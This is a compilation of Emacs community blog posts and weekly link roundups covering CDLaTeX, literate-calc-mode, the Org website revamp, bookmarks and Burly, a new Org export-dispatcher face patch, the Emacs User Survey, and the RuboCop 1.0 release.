A year and a half ago, I wrote about Gilles Castel’s video on taking math class notes. I found his workflow astounding. He was able to take LaTeX notes in Math class at speed. By “at speed” I mean he was able to keep up with the instructor. If you’ve ever written in LaTeX you know that Castel’s feat is pretty impressive. His secret sauce was the Vim UltiSnips snippets package.

At the time, I speculated about doing the same thing with ACUTeX and yasnippets. Yasnippets aren’t as powerful as UltiSnips but I felt Castel’s workflow could be more or less translated to Emacs.

I just saw this post by karthink that explains how he does the same thing in Emacs. His secret sauce is ACUTeX, Yasnaippets, and CDLaTeX. He doesn’t have a long video like Castel’s but there are some shorter GIF animations that show his system in operation. The real winner here is CDLaTeX, an Emacs package written by Carsten Dominick, that allows the fast and easy entry of LaTeX input. I didn’t know about CDLaTeX but it turns out to be really useful. You can use it anywhere in Emacs but there’s also a special interface for it in Org-mode.

If you’re like me and need to write occasional mathematics in Org, it’s just what you need to make it as painless as possible. It even has a which-key-like hinting system so you don’t need a cheat sheet to get going. Take a look at karthink’s post or the Org manual to see how to enable it.

If you’re taking mathematical notes or even if you merely need to write some occasional mathematics, you should definitely take a look at his post. There’s also a pointer to some of the snippets he uses.

Robin Schroer has an interesting project that recently landed in MELPA. Many of you know that I’m a big fan of reproducible research and its handmaiden literate programming. Schroer’s project is a sort of light-weight Jupyter Notebook that’s integrated with Emacs. He’s got a post that announced the project and explained what it’s about.

There’s a video with his post but I couldn’t get it to play. That may because I’m on macOS or perhaps because of my anti-tracking software. In either case, the README at the Git repository provides some nice examples of how it works. If you can’t play the video either, take a look at the repository. It will help you understand the project and its aims.

I’m really comfortable with calc and don’t feel the need for an infix calculator but literate calc mode does have some nice features. For instance, you can capture the result of a calculation in a variable and if you change any constituent part, all the results are recalculated. Even better, it’s possible to capture the whole thing to a text file so it can be published or reloaded later for more work.

It’s still early days and Schroer has some enhancements planned. I think this is going to be a really useful project for Emacs users.

• Emacs User Survey 2020 is open! (Reddit, HN)
• Emacs configuration:
  • Guix: The right way to manage your packages.
• Emacs Lisp:
  • Alvaro Ramirez: Emacs: quote wrap all in region
  • aspiers/etrace: Emacs Lisp Latency Tracing for the Chromium Catapult Trace Event Format
• Emacs development:
  • Make vc-responsible-backend choose the most specific backend
  • Tweak where global-display-fill-column-indicator-modes is on
  • Implement a :predicate parameter for globalized minor modes
  • Rename ElDoc user option controlling display of truncation notice
  • Introduce eldoc-display-functions
  • Enable TTY menus with xterm-mouse-mode
  • Make TTY menus work with xterm-mouse-mode
  • Add support for squashfs files in archive mode
  • Allow moving members of editable-list widget, via delete+insert
  • unload-feature: Handle local hooks (bug#5293)
  • byte-compile-file: Make optional LOAD argument obsolete
• Appearance:
  • Popular Emacs Themes Charts
  • Good emacs themes for programming
  • Random Ascii Art Splash Screen
• Navigation:
  • Using Emacs 76 Bookmarks and Burly (Reddit)
  • {WIP} Burly.el: Save and restore buffers and window configurations with URLs, including buffer positions and window layouts (a kind of “workspace” support) (Reddit)
  • Marcin Borkowski: Scrolling all windows simultaneously
  • Alex Schroeder: The finger memory of incremental search, or switching to swiper
• Dired:
  • Mark Empty Folders in Dired (Reddit)
• Org Mode:
  • Upcoming changes for Org-mode
  • The Org website has been revamped!
  • Emacs Tips – How to Show Reminders for Org Mode Tasks – YouTube (48:30)
  • Two interviews with Rainer König – how he got started with Org Mode, and his Org Mode workflow
  • org block company complete and edit
  • ob-pikchr: org babel for pikchr
  • Protesilaos Stavrou: Org’s export dispatcher has a new face for its keys
  • Org-transclusion (alpha v0.0.3) Demo #3 – YouTube
• Coding:
  • Emacs From Scratch #8 – Build Your Own IDE with lsp-mode (LIVE 10/23, 9:15 am PDT) (Reddit)
  • Andrea: Run a single ScalaTest case with Emacs and sbt-mode
  • maxima.el: Maxima mode for Emacs (Reddit)
• Doom Emacs:
  • Migrating from Doom Emacs to vanilla
  • Your thoughts about Doom Emacs
• Community:
  • Weekly tips/trick/etc/ thread
  • What mode/feature are you planning to use in the future?
  • Why Emacs itself is my “favourite Emacs package” (Reddit)
  • Emacs Redux: State of Emacs Survey (Reddit)
  • Manuel Uberti: Emacs and Emanuele Severino – pragmatism and philosophy
  • What DE/WM do you use?
• Other:
  • The GNU Emacs Manual in epub format
  • Text-to-speech highlighting current span, typographic quotation marks, alternate spellchecking –
  • emacs-teletext-yle: Read YLE teletext pages in Emacs
  • Morse input for Emacs on Android – YouTube (Reddit)
  • Using Putty and Emacs’ Tramp on Windows · Home (2018)
• New packages:
  • julia-vterm: A mode for Julia REPL using vterm
  • tree-sitter: Incremental parsing system
  • tree-sitter-langs: Grammar bundle for tree-sitter
  • tsc: Core Tree-sitter APIs

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Hacker News, planet.emacslife.com, YouTube, the Emacs NEWS file and emacs-devel.

Just a quickie today to note that the Org-mode site, orgmode.org, has a brand new look. That’s thanks to the work of Tecosaur who completely revamped the site. According to his announcement over at Reddit, the core pages are smaller and load faster, the site is more mobile friendly, and many of Org’s features now have animated demonstrations.

The site looks great and it’s much easier to find things than it was before. I especially like the Features page that gives an excellent introduction to some of Org-mode’s features. There are animated examples and explanations so it’s just the thing for a n00b trying to get oriented in the large and intricate Org universe.

Thanks to Tecosaur for his hard work. I’ve added him to the list of people I should buy a beer for if I happen to meet him in real life. You should do the same.

Mike Zamansky is back with another video in his Using Emacs Series. This time he discusses Emacs bookmarks and the Burly package. You can set a bookmark for any file that you need often and use the bookmark-jump function to bring that file up quickly and easily. Burly does the same sort of thing but for window/buffer configurations. Take a look at Zamansky’s video to see it in action.

Bookmarks are one of those things that seem like a no-brainer yet many—or perhaps most—of us don’t make as much use of them as we should. That changed for me several years ago when I stole a bunch of ideas from abo-abo. First off was to install bookmarks+, which among other things lets me bookmark websites so I can go to them right from Emacs. This, along with abo-abo’s headlong package allow me to map the bookmarks to one or two letter sequences. Wrapping all this into a window configuration hydra allows me to enter Hyper+w m t to bring up my tax file or Hyper+w m b to open my blog in Safari. I wrote about all of that here.

Finally, it’s worth mentioning that any files you have in ~/.agenda-files will be loaded automatically when Emacs starts so I usually visit those by typing in the first letter or two of the file name and letting council-find-file load it for me. It’s just as quick and easy as using a bookmark and I don’t have to add it to my bookmarks file.

Emacs has a lot of ways of quickly loading files and happily none of them require the use of a mouse. Take a look at Zamansky’s video for one of them. The video is 17 minutes, 32 seconds so plan accordingly.

Update 2020-10-25 10:57 +0300: Added screen shots with the Modus Operandi and Modus Vivendi themes.

As of commit 7ebb2d562 in the git repo of Emacs’ Org mode, the export dispatcher uses a new face to highlight its available keys and possible options: org-dispatcher-highlight. It supersedes the general purpose org-warning for this particular interface.

Before and after

This demonstration is on emacs -Q. First without the patch and then with it:

And here are my Modus themes (Modus Operandi and Modus Vivendi) with the new face tweaked to match their established metaphors:

In the interest of usability

The email to the Org mailing list reveals my rationale:

The export dispatcher’s active keys are highlighted using the org-warning face. That face is applied in various contexts, including the agenda.

Users who have difficulty reading the active keys of the export dispatcher are therefore forced to modify org-warning throughout their setup, even though their problem is present only while viewing the dispatch UI (because highlighted keys are one or a few characters long).

The attached patch is an attempt to address this issue by creating a new face that is specifically designed for the dispatch UI.

For the background+foreground combinations, the selected values conform with the highest accessibility standard for colour contrast (WCAG AAA, else a minimum contrast ratio of 7:1). I limited my options to what M-x list-colors-display provides.

The relevant diff:

 lisp/org-faces.el | 14 ++++++++++++++
 lisp/ox.el        |  2 +-
 2 files changed, 15 insertions(+), 1 deletion(-)

diff --git a/lisp/org-faces.el b/lisp/org-faces.el
index c0556b8bb..94b283ad6 100644
--- a/lisp/org-faces.el
+++ b/lisp/org-faces.el
@@ -45,6 +45,20 @@ The foreground color of this face should be equal to the background
 color of the frame."
   :group 'org-faces)
 
+(defface org-dispatcher-highlight
+  '((default :weight bold)
+    (((class color) (min-colors 88) (background dark))
+     :background "gray20" :foreground "gold1")
+    (((class color) (min-colors 88) (background light))
+     :background "SlateGray1" :foreground "DarkBlue")
+    (((class color) (min-colors 16) (background dark))
+     :foreground "yellow")
+    (((class color) (min-colors 16) (background light))
+     :foreground "blue")
+    (t :inverse-video t))
+  "Face for highlighted keys in the dispatcher."
+  :group 'org-faces)
+
 (defface org-level-1 '((t :inherit outline-1))
   "Face used for level 1 headlines."
   :group 'org-faces)
diff --git a/lisp/ox.el b/lisp/ox.el
index 6dd2cd4a0..5ffd66816 100644
--- a/lisp/ox.el
+++ b/lisp/ox.el
@@ -6706,7 +6706,7 @@ back to standard interface."
 	    ;; on the first key, if any.  A nil value means KEY will
 	    ;; only be activated at first level.
 	    (if (or (eq access-key t) (eq access-key first-key))
-		(propertize key 'face 'org-warning)
+		(propertize key 'face 'org-dispatcher-highlight)
 	      key)))
 	 (fontify-value
 	  (lambda (value)

This commit resolves a conundrum that theme developers could find themselves in:

• Should I make the keys in the export dispatcher as clear as possible without compromising on their utility?
• Or should I allow deadlines in the agenda to have a sense of urgency without becoming intrusive and outright unpleasant?

The introduction of the new face removes this constraint altogether by disaggregating the uses of org-warning: dispatcher keys can be drawn in a style that best complements the intended function of their presentation, while agenda buffers and other interfaces can still present warnings, such as pending tasks, in a manner that suits the significations attached to that word.

To retain the old export dispatcher aesthetic, instruct org-dispatcher-highlight to inherit from org-warning (or petition your theme’s developer to consider such a reform). For example:

(set-face-attribute 'org-dispatcher-highlight nil :inherit 'org-warning)

Please note that what matters is the presence of a new face, not the exact colour values assigned to it, as shown by the tweaks I made to it in my Modus themes.

Thanks to the community

I wrote this patch after receiving valuable feedback from user “Anders” on the Modus themes’ issue tracker.

My gratitude extends to Bastien Guerry, the maintainer of Org mode, for accepting my code and for their valuable contributions in general.

The recently available Emacs User Survey made me think, once again, about the status of the technological world around me. The survey was painstakingly discussed on the emacs-devel mailing list, and generated some interesting reactions among people outside the core developing team as well. More interesting for the perspective of this writing are the reactions to the discussions on emacs-devel, because they reveal how great the distance between me and some members of the Emacs community has been getting.

You see, I am a failed Free Software supporter. I stopped campaigning in its favour as soon as my wife’s school closed. There I had set up everything with Free and Open Source software, and watching the teachers effectively do their job with technological solutions they were not accustomed to made me happy. They did not really care about the reasons behind my choices, but they respected my contribution and were willing to overcome the first weeks of adaptation as long as I could guarantee a comfortable working environment. When all of this ended and I went back to software development, Free and Open Source software became only a private concern. While still set on Linux¹, I left Debian for Ubuntu because I didn’t want to spend time tinkering with my operative system to get the best out of my Dell XPS. My distro-hopping days had come to an end. I just wanted a system that would let me code, write, and browse the Web. I chose the easy way.

However, I have never stopped paying attention to the world around me and behaving consciously. For instance, I hate wasting technology. The 3-and-a-half-year old Dell XPS where I am writing now replaced my 8-year old Dell Inspiron, and my 7-year old HP server is still rock-solid and here to stay. I have a 4-year old Fairphone, my first and only smartphone, that I intend to keep for as long as possible. Beside gadgets, I’ve been on a vegan diet for almost seven years and I consider it one of the best and most important choices I’ve ever made regarding the ethics of what I eat. Come to think of it, as bad as the Coronavirus crisis is turning out to be, it “fixed” the problem of getting to the office every day, cutting my car usage down to once a week for groceries² and thus decreasing my impact on the environment.

This is why mixing technocraticism with pragmatism bothers me. The words “pragmatic” and “pragmatism” have been kind of a constant in the IT world I live in since “The Pragmatic Programmer” passed on my shelves. As every word in every language, “pragmatic” and “pragmatism” are complex words and their actual meaning is not trivially describable. Immanuel Kant distinguishes between “practical” and “pragmatic”, but without asking him we can quickly see what the dictionary tells us. According to the Oxford Learner’s Dictionary, “pragmatic” means “solving problems in a practical and sensible way rather than by having fixed ideas or theories”. Treccani, however, is closer to how “pragmatic” is known nowadays: “what is being characterised by the prevailing of practical interests over theoretical ones and ideal values”. I won’t digress on the multiple meanings of “ideal” to keep it simple and because “values” is actually the key word for me here.

“Pragmatic” and “pragmatism”, in common parlance, imply a separation between theoretical thoughts and practical action, but it is actually impossible to draw a line between the two. Every action is informed by a thought and every thought shines a light on the action. We can act automatically without thinking about it, sure, but that has nothing to do with voluntary actions. When we act, we act according to a line of reasoning, and it’s that line of reasoning that determines the value of the action. Take my choice of using Ubuntu on this Dell XPS. A deliberate decision born out of my desire to prefer a comfortable option instead of spending time to value more Free Software-compliant solutions. I acted with a plan just as I acted with a plan when I chose my vegan diet. Which choice is more pragmatic? Which one tells you more about my ethics?

For years now I’ve been seeing the IT world as self-involved and rarely eager to discuss larger issues. Problems such as the environmental crisis become material for self-congratulatory speeches at conferences around the world, while in fact the day after the conference we resume our lives as if nothing other than ourselves mattered. We do that because, as Emanuele Severino says, we are scared of what is beyond ourselves. We have replaced religious myths with the myth of technology to find the immediate answers to deep and life-changing questions that we do not want to investigate any further.

It’s not easy to understand the weight of words like “pragmatism” and “pragmatic” in a technocratic world. We live in an age where we believe that technology is our ultimate saviour. We are driven to accept technology as it is because of the benefits it brings to ourselves. We trust our technology because not doing so would result in the effort of questioning it, which in turns may unveil the details that the technocratic world goes a long distance to hide. More importantly, questioning technology could disclose what we really are and need to be, something that takes will and courage to face. In a time like this, Emanuele Severino’s claim that technique is the dominant power of our time sounds as forceful as ever.

Notes

I read a post on /r/emacs the other day asking if people used Emacs bookmarks among other things. I thought about it for a bit and wondered why I didn't use Bookmarks? I did set a few bindings to load frequently used files and those are like bookmarks but I have to set those up in my configuration. It turns out that Emacs bookmarks are pretty easy and effective and work right out of the box. I cover the basics in the video and you can also check the documentation here.

In the video I mention that the bookmark bindings are part of the bindings used for registers which also include rectangles. If you're interested in those aspects you can find out all about registers by viewing this nice video by Prot and I cover rectangle editing here.

I also noticed another post on /r/emacs about burly - a package for managing windows and their associated buffers. It's pretty cool. In the video I confused myself and thought it might be mapping the buffers to windows wrong but that was just me confusing myself.

Burly uses bookmarks to store the configurations which is cool and it was much easier for me to get my head around it than other solutions. Burly's install instructions use quelpa and quelpa-use-package so now it looks like I'll have to figure those out as well :-).

The run through is all in the video.

Enjoy.

Recently I learned of the first-ever State of Emacs survey and I wanted to share a few thought about it with my readers. Okay, the survey is officially named just “Emacs Survey”, but it clearly draws a lot of inspiration from the numerous “State of Technology X” surveys that have become popular in recent years. That’s why I took the liberty to re-frame it in a way that will probably be familiar to more people.

The “State of Something” surveys are typically ran by the teams maintaining some project to assess the health of its ecosystem, the needs of their users, the problems that need to be solved, the tools that people are using and so on. A good example would be the State of Clojure, that I participate in every year. There are similar surveys for many programming languages and even for some tools - e.g. I ran in the past a State of CIDER survey.¹ Ideally, the data collected from the surveys drives the future development to some extent, and results in a better experience for everyone involved. I can speak from experience that the “State of Clojure” and “State of CIDER” surveys definitely influenced the direction of the projects.

The “State of Emacs” survey is a somewhat different, though. One thing that bothers me a bit about the Emacs survey is that its site doesn’t list any clear purpose/goals for the survey. That definitely seems pretty weird to me. I saw the survey discussed on the Emacs mailing list and on Reddit, but sticking a paragraph of rationale on the survey site would have certainly helped. The survey is also not official in the sense, that it’s not initiated by Emacs’s development team, and judging by the hostility the topic generated on the emacs-devel mailing list it’s not like they were particularly excited about it.² It was funny that most of the comments were complaints about things like the use of non-free JavaScript in the survey form and topics like that, instead of some constructive conversation about the format of the survey. I was especially upset about the hostility towards the amazing MELPA project on the mailing list (in his typical style RMS even wanted MELPA to be denounced in the survey, as he considers it evil). Implying that it’d be easy to replace MELPA with some core Emacs repository is like a bad joke, given how the deficiencies of GNU ELPA were the reason for the rise of MELPA in the first place. Anyways, I’m digressing.

Despite of all my concerns, I hope that the survey be a success in the sense that it will collect enough useful data points to influence the future development roadmap of Emacs and align better the vision of Emacs’s maintainers with the needs and the usage patterns of their users. I’ve already filled out the survey myself and I liked the questions in it, although, I would have definitely structured it somewhat differently. I see some constant trend to compare stuff in Emacs with external packages (e.g. Magit vs vc, Flycheck vs Flymake, Projectile vs project.el), which I find slightly bizarre given the trend in Emacs to move as many built-in packages as possible to GNU ELPA, and the fact that Emacs has always been about diversity of solutions, picking whatever works best for you and so on. Standardization efforts seems somewhat against the spirit of Emacs, but that’s just my very personal take.³

In case someone is curious about my Emacs wish list - I don’t really care about changing any defaults, package improvements or anything like this. I’d like to see more efforts for improving Emacs Lisp, the standard library (libraries like seq.el and map.el were great additions IMO), making it possible to build rich UIs in some sane manner (overlays are quite limiting). I’d also love to see the bar to contributing to be lowered:

• drop the contributor agreement
• discuss ideas in an (modern) issue tracker, instead of on a mailing list
• apply less political activism and more pragmatism in the conversation around new ideas/features⁴

I doubt anything like this is going to happen any time soon, but one can dream, right?

Finally, I’m obviously curious how my own Emacs Prelude and my packages like Projectile, crux and so on will fare in the survey. Are Zenburn and Solarized still the most popular color themes out there? You tell me! :-)

Big thanks to Adrien Brochard for undertaking this daunting task and creating the “State of Emacs” survey! It will be open until the end of November. You can fill out the survey form directly here. Share your perspective!

Update You might also want to check this follow-up discussion, triggered by my article.

If at first you don’t succeed, call it version 1.0.

RuboCop’s development started exactly 7 and half years ago. I made the first commit on April 21, 2012. That’s a lot of time in general, but even more in the fast moving world of IT. During this long period we’ve racked up some impressive numbers:

• 9905 commits
• 152 releases
• around 3500 closed issues
• almost 5000 merged pull requests
• over 120 million downloads
• over 200 publicly available related gems (extensions, custom configurations, etc)
• over 700 contributors

I never expected any of this on April 21, 2012. If there’s a person truly surprised by the success of RuboCop that’d be me. But wait, there’s more! We also reached some important milestones in the last couple of years:

• Created the RuboCop HQ organization that became the home for RuboCop, the community style guides, and many popular RuboCop extensions
• Extracted the Rails cops to a separate gem (rubocop-rails)
• Extracted the performance cops to a separate gem (rubocop-performance)
• Extracted the AST-related functionality to a separate gem (rubocop-ast)
• Created new extensions focused on Rake (rubocop-rake) and Minitest (rubocop-minitest)
• Made significant improvements to RuboCop’s code formatting capabilities
• Reworked the cop API
• Switched to safe-only cops by default
• Introduced the notion of “pending” cops
• Created a brand new documentation site
• Provided more polished versions of the community style guides over at https://rubystyle.guide

One thing eluded us, though - a “stable” RuboCop release. Today this finally changes with RuboCop 1.0!¹

There’s nothing ground-breaking about the new RuboCop release - it’s almost the same as RuboCop 0.93.1 that preceded it. I believe the only change, that most of you are going to notice, is that all cops that used to be “pending” are now enabled by default, which is in line with our release policy. No new cops will be enabled by default until RuboCop 2.0.

The big news for end users and maintainers of extensions is that we’re finally embracing fully Semantic Versioning, which should make the upgrade process simpler (painless?) for everyone. Going forward the following things will happen only on major releases:

• enabling of new cops
• changes to the default cop configuration
• breaking API changes

It’s really funny that I felt for at least a couple of years that we were very close to the 1.0 release, only to come up with more and more things I wanted to include in it. I believe I first spoke about my intentions to ship RuboCop 1.0 at RubyKaigi 2018 and back then I truly believed this was bound to happen in the next 6 months. Classic example of planning in the software development world, right?

Many people urged me for years to label a random release as 1.0 with the argument that if some software is useful and widely used than it probably deserves that magic moniker. It’s not a bad argument and I totally understood the perspective of those people. I, however, was not convinced as for me version 1.0 also stands for “we got to a place we consider feature complete and aligned with our vision”. Needless to say - the vision we (RuboCop’s team) had was quite ambitious and it took us a while to make it a reality.

I cannot begin to explain how happy I am that we got here, and I can assure you that it wasn’t easy. Over the years RuboCop had its ups and downs, it got a lot of praise, but also a lot of flak.² Some days I was super pumped and motivated to work on it, on other days I couldn’t stand to think about it. Working on popular OSS projects is one of the most rewarding and most frustrating experiences that one can have. I was (un)fortunate enough to be involved in a few of those (RuboCop, CIDER, nREPL, Projectile, Emacs Prelude, etc) and each one was a crazy roller-coaster ride.

I find it funny how my role in RuboCop evolved with time. Originally I used to write mostly code, these days I write mostly tickets, issue/code review comments and documentation. Often I feel more like a project manager rather than a programmer. There was a time when I was super happy to see a PR and I’d immediately respond to it, now I can’t keep up with all the PRs. In fact, our entire team can’t keep up with them, so consider this my apology that it sometimes takes a while to get feedback on your suggestions. I’ll even admit that I rarely read issue tickets these days as there are so many of them and it’s impossible for me to respond to all of them. I’ve just learned that important tickets always get noticed, if not by me than by someone else from our fantastic team.

I want to extend special thanks to RuboCop’s core team, as we would have never gotten so far without all those amazing people working tirelessly on the project:

• Jonas Arvidsson
• Yuji Nakayama (retired)
• Evgeni Dzhelyov (retired)
• Ted Johansson
• Masataka Kuwabara
• Koichi Ito
• Maxim Krizhanovski
• Benjamin Quorning
• Marc-André Lafortune

You rock, guys!

Jonas, in particular, deserves just as much credit for RuboCop existing today as me. He was the first contributor to RuboCop and he pushed me to get RuboCop to the state where it got critical mass, mindshare and some traction. It’s a long story for another day and another article.³

Koichi also deserves a special mention for his tireless work and incredible dedication to RuboCop and its users over the years! And for his great karaoke skills! He has also been a fantastic head maintainer for key RuboCop extensions like rubocop-rails, rubocop-performance and rubocop-minitest.

Last, but not least - another round of big thanks for all the people who contributed to RuboCop in any capacity over the years! RuboCop is all of you! Keep those contributions coming!

Some closing notes:

• As mentioned above, recently we’ve extracted RuboCop’s AST-related logic to the rubocop-ast gem, that’s going to be very handy for everything looking to supercharge parser’s API. I’d love to see more tools using it, as I think we really managed to simplify the interaction with an AST. Work on the new gem is led by the awesome Marc-André Lafortune. By the way, he released rubocop-ast 1.0 today! We have some cause for double celebration!
• The cop API was completely reworked recently by Marc-André. He did some truly fantastic work there! Check out the upgrade notes if you maintain any RuboCop extensions, as the legacy API will be removed in RuboCop 2.0.
• We’ve made some changes to how department names are calculated that might affect some extensions. Read more about them here.
• Check out the release notes for all the details.
• rubocop-rspec is currently not compatible with RuboCop 1.0, but we’re working on this. You can follow the progress on that front here.

And that’s a wrap!

I feel a bit sorry for disappointing everyone who hoped we’d make it to RuboCop 0.99, before cutting RuboCop 1.0. We did our best and we had a great 0.x run, but we ran out of things to do.⁴ :-) On the bright side - now I can finally say that I’ve got 99 problems (and 200 open issues), but cutting RuboCop 1.0 ain’t one.

Enjoy RuboCop 1.0 and share with us your feedback about it! Our focus now shifts to RuboCop 1.1, and I hope that we’ll be dropping new major releases rather infrequently going forward (although RuboCop 2.0 will probably arrive in less than 7 years). Thanks for your help, love, feedback and support! Keep hacking!

P.S. Koichi recently covered in great details our long journey to RuboCop 1.0 in his presentation Road to RuboCop 1.0 at RubyKaigi 2020. I cannot recommend it highly enough to those of you who’d like to learn more about the technical aspects of RuboCop 1.0 and all the challenges we had to solve along the way!

In this video blog I talk about the persistent question of “the killer app” that gets asked in the Emacs community. I explain why I think the identification of a single package is often not enough to appreciate the true value proposition of Emacs. My case emphasises the importance of workflows; workflows that typically combine lots of distinct tools and benefit from core Emacs attributes. It is the whole system that matters, because all those packages—in their given combinations—make up our day-to-day computing experience with Emacs.

The text of the presentation is written in org-mode notation and is reproduced below. Also check my Emacs configuration file, from where you can get the code I use: https://protesilaos.com/dotemacs.

#+TITLE: Vlog: Emacs is my “favourite Emacs package”
#+AUTHOR: Protesilaos Stavrou · protesilaos.com

* Getting into the Emacs mindset

I will to talk to you about my approach to a recurring topic in the
Emacs community, best encapsulated in this question:

/What is your favourite package?/

Similar formulations:

+ What is the one thing that makes Emacs indispensable to you?
+ Which is Emacs' killer app?

Such questions can lead us to valuable findings.  There is truth to be
had in the insights drawn from them and we must learn as much as we can
in the process.

Note though that this type of inquiry expects from us to engage in an
analytical exercise that extracts an object from its milieu.  It puts us
in a frame of mind that can miss the true value proposition of Emacs.

The problématique comes with the latent risk of holding us captive to a
frame of mind characterised by *decontextualisation*, of examining an
object without reference to the environment that renders it possible.

Instead of thinking about workflows that can take you from one context
to another, we are expected to identify some silo of functionalities.
Are we then underestimating everything else that contributes to our
day-to-day /experience/ with Emacs?

* Don't ignore the forest while looking at the tree

Now before I get misunderstood: yes, Org and Magit are great; yes, there
are lots of individual packages that make your life easier; and yes,
there is value in finding which package[s] people enjoy the most.

What about the combination of all utilities?  What about the *gestalt*?

If you claim that “my favourite package is X” and then fail to couch
your statement in terms of the rest of the toolkit you rely on, you are
likely to underappreciate---or altogether ignore---the true value
proposition of Emacs.

You do not acknowledge how the whole system is pieced together.  More
importantly, you may not realise the potential of Emacs' extensibility,
which is dynamic or case-dependent.

In other words, Emacs provides the means to implement a metaphor like
that of the vaunted Unix pipes across its entire space.  In practical
terms, you can connect your email client to your agenda, your RSS reader
to your custom note-taking system, your music manager to your directory
editor, and so on.  And all these can benefit from interfaces for
searching, editing in bulk, etc.

My claim here is that most of the times there is no one package or
narrow subset that make Emacs great.  It rather is the linkages between
several pieces of code that make Emacs a pleasure to work with.  They
contribute to predictable-yet-flexible workflows.  These keep Emacs
relevant and, dare I say, intriguing.

* The three core attributes of Emacs

Emacs is programmable and introspectable.  Both presuppose transparency.
These make the Emacs experience open-ended.

+ Programmable :: One set of features can be made to interface with
  another, even though it was not conceived with the express purpose of
  optimising for that particular scenario.  What can be done with Emacs
  is not predetermined.  There is always scope for something new.

+ Introspectable :: The user can examine the entire code base or a
  specific implementation and, potentially, figure out how to connect to
  it through some other tool.  This is further supported by the robust
  self-documentation facilities of Emacs, as well as the high quality of
  material that is readily available through the built-in Info reader.
  Introspection has contributed to the /documentation culture/ that
  characterises the Emacs community at-large.

+ Transparent :: Emacs does not conceal its internals.  Virtually every
  case can be handled using the same language the code is written in
  (Emacs Lisp) while benefiting from live evaluation of new code.  You
  change something and you see it in action.  Combined with the
  self-documenting nature of Emacs, transparency provides insight into
  practically every single construct that makes up Elisp.  Which
  empowers us to make best use of Emacs' programmability.

When considered together, these engender the *interconnectedness* that
defines the Emacs space.
* Introspection in action

Quick demo of running =C-h o= (=describe-symbol=) over =mapcar= and =mapconcat=
and then testing those expressions.

#+begin_src emacs-lisp
(mapcar #'upcase '("one" "two" "three"))

(mapconcat #'upcase '("one" "two" "three") "-")
#+end_src

We can use =C-x C-e= (=eval-last-sexp=) to get live feedback of what each
function does.

We can check the log with =C-h e= (=view-echo-area-messages=).

These are the rudimentary tools you rely on to start using ELisp.  They
offer you the means to experiment with how to extend Emacs.
* A quick look at combining tools

Now let me switch to another window layout, where I have some plain text
files in a standard directory.  Nothing fancy here.  Just to show how
standard Emacs tools can combine together to deliver a consistent
computing experience.

+ Switching to another layout involves the built-in tabs (=tab-bar-mode=)
  plus some bespoke code of mine.
+ Find file at point using a filename or just part of a file (=C-x C-f M-n=).
+ Use a completion framework (=icomplete-mode= in my case).
+ Benefit from a pattern-matching style (=orderless= for me).
+ Jump to the directory that contains the file (=dired-jump=).
+ While in Dired, jump to an item using completion (=dired-goto-file=).
+ Or filter the Dired list and then find the item (=% m= potentially
  followed by =t k=).

* Interconnectedness in the Emacs space

My point is to highlight the true value of Emacs' extensibility.  Which
is realised in the connections you make between several pieces of
functionality.

And, as I already mentioned, one package does not need to know about the
presence of another /in advance/.

Your focus should be on the workflow.  On the whole system that helps
you get things done with Emacs.  Because that is what your actual
experience is about.  You benefit from the set of /emergent qualities/
that become available in the combination of otherwise disparate pieces
of functionality.

Let me stress the importance of interconnectedness in the Emacs space by
showing you another quick demo that combines three distinct packages
that were not developed for the express purpose of being combined
together:

+ =elfeed= for reading RSS/Atom feeds.
+ =bongo= for managing media files or links.
+ And my own experimental note-taking system (=usls=).

Finally, this entire presentation is made possible by combining several
tools:

+ =org-mode=
+ =olivetti-mode=
+ =org-tree-slide-mode=
+ =variable-pitch-mode=
+ my own commands for setting fonts

• Emacs User Survey 2020 is open! (Reddit)
• Emacs configuration:
  • TIL how to load file- or dir-locals before a minor mode like lsp-mode
  • Diego Zamboni: My Doom Emacs configuration, with commentary
  • LIVE: Emacs From Scratch #7 – Configure Everything with Org Babel (10/16, 9:15am PDT) (Reddit)
• Emacs Lisp:
  • Awesome Elisp, a list of resources about Emacs Lisp (Reddit)
  • xr: A new weapon for your regex arsenal
  • Emacs Latency Tracing for the Chromium Catapult Trace Event Format
• Emacs development:
  • Raimon Grau: An emacs’ Feature Development
  • Add command package-menu-filter-upgradable
  • Add new choice ‘keep’ to next-error-message-highlight (bug#32676)
  • ; * etc/NEWS: Call out the new variable ‘shr-offer-extend-specpdl’.
  • Document the new smiley value
  • Add support for emojis i smiley.el
  • * etc/NEWS: Mention new lexical binding conversion aid.
  • Base bookmark-bmenu-mode on tabulated-list-mode (Bug#39293)
  • ; * etc/NEWS: Move ‘narrow-to-prompt’ entry to “Shell” section.
  • New shell-mode command to narrow to the command under point
  • Add a new variable to control Gnus Agent caching
  • Search harder for file name matches in compilation buffers
  • Make `C-x C-e’ work more like `C-M-x’ on defvar etc
  • Highlight regexp sub-expressions in query-replace
  • Add option to highlight the ‘next-error’ error message
  • Add a new variable tab-first-completion
  • * etc/NEWS (Calc): Note new precedence of ‘/’ in TeX input mode.
  • Fix documentation of Outline cycling commands
  • * etc/NEWS: Mention ‘make_unibyte_string’; reformat modules entries.
  • Calc: allow infinite binary word size (bug#43764)
• Appearance:
  • SVG tag minor mode (Reddit, Reddit)
  • Smooth scrolling over images (Reddit)
  • pdf-continuous-scroll-mode.el: A minor mode for Emacs that implements a two-buffer hack to provide continuous scrolling in pdf-tools
• Org Mode:
  • org-superstar-mode: Upcoming version 2.0
  • Full introduction to Gkroam, up to version v2.3.7, no voice (Reddit)
  • Export Day One (macOS) Journals to Emacs org-mode Diary Entries • Christian Tietze
  • SSH config export for org-mode (Reddit)
  • EmacsConf 2020 & My Submission – org-webring
  • Alvaro Ramirez: Emacs: org block complete and edit
  • {ANN} org-inline-video-thumbnails: allow Org to show video thumbnails inline like regular images
  • Paste an image into an org file (Windows)
  • Journaling with org-journal · zaiste.net
  • Org with Perl: 001: Moving/removing done todo items (Reddit)
• Coding:
  • semi-automated interactive stream editing: piping through expect and emacs (Reddit)
  • Python’s f-string syntax highlighting now supported thanks to Stefan Monnier (Reddit)
  • Andrea: My Emacs setup for Scala development
  • Manuel Uberti: Reliable REPL switching and buffer loading with CIDER
  • Andrea: My Emacs setup for Scala development
• Math:
  • Emacs-Calc: The Poor Man’s Mathematica (2010)
  • calc is fun
• Mail and news:
  • mu4e-helm-attachments : Replaces some attachments functions of the Emacs email client mu4e with functions based on helm (Reddit)
  • mu4e-helm-folders : Folder selection for some functions of the Emacs email client mu4e using helm
• EXWM:
  • Love lost: when exwm falls short (Reddit)
  • Emacs in Emacs: A triumph for EXWM (Reddit)
